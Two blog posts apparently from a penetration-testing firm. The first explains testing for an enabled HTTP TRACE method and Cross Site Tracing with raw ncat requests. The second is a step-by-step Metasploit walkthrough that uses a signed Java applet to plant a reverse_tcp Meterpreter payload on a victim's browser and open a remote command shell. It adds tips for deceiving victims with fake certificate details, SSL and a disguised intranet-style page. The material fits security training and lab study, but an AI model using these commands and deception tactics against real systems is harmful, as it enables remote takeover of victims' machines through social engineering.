A bit of information about TRACE and OPTIONS

Hi!! Another post here after a some time... I'm really busy at work right now but I also need these small breaks to carry out my own testing and share a bit of what we learn here at Pentura.

I want to write today about the TRACE, OPTIONS and others HTTP verbs. Sometimes in reports we can see that they discovered the TRACE verb active in our server. How they (us ;) ) do it? How do we test to understand if it's a real vulnerability? If it's a vulnerability... what is the risk?

First of all when we test a web application, we perform an OPTIONS request to the server to discover the verbs the server offers. It can be done using a simple telnet or ncat connection to the server but today we are going to use the Metasploit framework:

Using the auxiliary/scanner/http/options module we can easily discover the HTTP verbs we offer in www.pentura.com. In this case we only accept GET, HEAD, POST and OPTIONS :)

Sometimes we can also see the TRACE method listed in the OPTIONS request and programs will warn you about this. OK, but, is it a risk?

Before knowing if it's a risk or not we have to understand how can an attacker use the TRACE method to exploit your server. The attack is called XST or Cross Site Tracing. Using this, an attacker could steal our cookies and use them to hijack our session in the server. This is useful when the cookies have the httpOnly flag. This is a small attribute that can be applied to cookies to prevent the access to them using Javascript.

The TRACE method responds back with the same headers that we sent in the request so, if our request contains our cookies, they will come back in the TRACE response.

But... don't worry! Sometimes people add this to reports because the automatic scanner discovers it but they don't test manually if it's possible to exploit this vulnerability. I'll show you how to do it!

pedro@pedro:~$ ncat www.apache.org 80
OPTIONS / HTTP/1.1
Host:www.apache.org

HTTP/1.1 200 OK
Date: Wed, 09 Jun 2010 16:13:37 GMT
Server: Apache/2.2.12 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.7d mod_wsgi/3.2 Python/2.6.5rc2
Allow: GET,HEAD,POST,OPTIONS,TRACE
Cache-Control: max-age=86400
Expires: Thu, 10 Jun 2010 16:13:37 GMT
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

pedro@pedro:~$ ncat www.apache.org 80
TRACE / HTTP/1.1
Host:www.apache.org
X-Header: Test

HTTP/1.1 200 OK
Date: Wed, 09 Jun 2010 16:14:49 GMT
Server: Apache/2.2.12 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.7d mod_wsgi/3.2 Python/2.6.5rc2
Transfer-Encoding: chunked
Content-Type: message/http

TRACE / HTTP/1.1
Host: www.apache.org
X-Header: Test

As you can see, when we send the OPTIONS verb we see that the TRACE verb is allowed. This means that we need to test it, not only put in our report as a vulnerability. The next request I made is a TRACE request with the X-Header fake value. The server responds with a 200 OK code and with my fake header value. This is the proof that the risk is present in this server. If the response is other means that the server is not vulnerable to XST attacks.

I hope this helps you understand better whats means these TRACE enabled vulnerability in the reports :)

P.D. For those Firefox lovers... Check this extension to test the OPTIONS headers inside your browser: HTTP Resource Test

HOWTO: Metasploit Java Applet Attack

Using a recent Java exploit released by Nathan Keltner of The Metasploit Project, Pentura Labs are going to demonstrate how to inject a Meterpreter payload into a browser session via a Java applet.

To get this attack working. you'll need to get your victim to click the attackers URL via whichever method you choose (email, verbal, linked from a website etc.). Once the applet has been executed, your payload is delivered and running......

For this demonstration, we'll use two machines in our lab; one running BackTrack4 with Metasplot Framework 3 (MSF3) and the other running Windows Vista SP2 with IE8 and/or FireFox v3.5. As this attack use a Java applet and a victim running Java Runtime Environment (JRE) the browser shouldn't matter, its the responsibility of JRE to execute the applet.

Setting up BackTrack4 (BT4)

A bit of preparation is needed with BT4 before we begin, here's what to do:

Install Sun Java JDK and rjb gem, then set global variables:

root@bt: apt-get install sun-java6-jdk
root@bt: gem install rjb

Set global variables for Metasploit to use JDK:

root@bt: echo "JAVA_HOME=/usr/lib/jvm/java-6-sun" >> /etc/bash.bashrc
root@bt: echo "export JAVA_HOME" >> /etc/bash.bashrc
root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun
root@bt: export JAVA_HOME

>> Be sure to update Metasploit Framework, this is done from the working directory of MSF3:

root@bt:/pentest/exploits/framework3: svn up

Setting up Windows Vista SP2 with SUN JRE

JRE v1.6.0_15 was installed on our machine, grab it here

Setting the exploit in Metasploit Framework 3 (MSF3)

Here we choose our MSF3 Java exploit, set some exploit options and then choose our payload that will be loaded in the Java applet.

Start the MSF3 console and set ' java_signed_applet' as the exploit

use exploit/multi/browser/java_signed_applet

Set the target type, in this case, TARGET 1 is for our Windows Vista machine

set TARGET 1

Set the MSF3 listening IP address for the web server

set SRVHOST 10.2.4.200

Set the MSF3 listening TCP port for the web server

set SRVPORT 80

Set the URI Path. This will form the URL that we'll entice the victim to visit (e.g. /pentura)

set URIPATH pentura

Specify our payload to run with the Java applet, we're going to use a Meterpreter payload where the Windows Vista machine will connect back to our BT4 machine.

set PAYLOAD windows/meterpreter/reverse_tcp

We need to set some options for the PAYLOAD itself. In this demo, our meterpreter payload will have the victim connect back to our attacker machine on TCP port 4444

set LHOST 10.2.4.200
set LPORT 4444

Now we'll start having some fun, run the exploit in MSF3. You'll see MSF3 start a web sever and listen out for connections

On the Windows Vista machine, we'll start a browser and connect to http://10.2.4.200/pentura. Observing the MSF3 console, we see the connection inbound from the victim. The MSF3 web server gets ready with the Java applet and then a Java applet cert warning appears in the browser, click "Run" (or "Accept" in some JRE versions).

Once the users accepts and runs the applet, back on the MSF3 console we see the Java applet is delivered and a Meterpreter session is spawned (session #1).

Lets go ahead and connect to the Meterpreter session #1 and see if we can get a command shell on the victim machine

sessions -i 1
shell

BINGO! We have a Windows command prompt on our remote machine! :o)

Now we can issue Windows commands on the victim machine. Alternatively, instead of connecting to a shell, Meterpreter supports a number of scripts that provides a host of other functionality.

Other Attack Options

Option #1

Modify the Java applet certificate settings to more realistic/authentic values. We used the defaults in this demo but you can change the following. In MSF3, use the “info” command once you’ve set the exploit:

Changing these settings to something the victim would more likely accept as legitimate. "...ooh, a company news ticker...."

Upon connection to your attacker machine, they'd see this instead:

Option #2

Use SSL if possible, users often assume an HTTPS connection is totally secure...even its content is ‘safe’....whatever....MSF3 payloads will soon change that :o)

Option #3

Use a properly constructed web page. This demo used a simple blank page with "Loading, Please Wait" at the top. A company intranet page or something similar looking hosted by an attack machine would disguise your nefarious activities and avoid suspicion.

Thanks To......

Dark Operator for all his contributions towards Metasploit and crucially the Meterpreter tutorials for which I am forever reading, testing and using!

The rest of the crew at PaulDotCom for making all this great information available to the masses (and also having a great show!) :o)

And finally to Nathan Keltner and all those involved in The Metasploit Project and for making a great exploitation framework.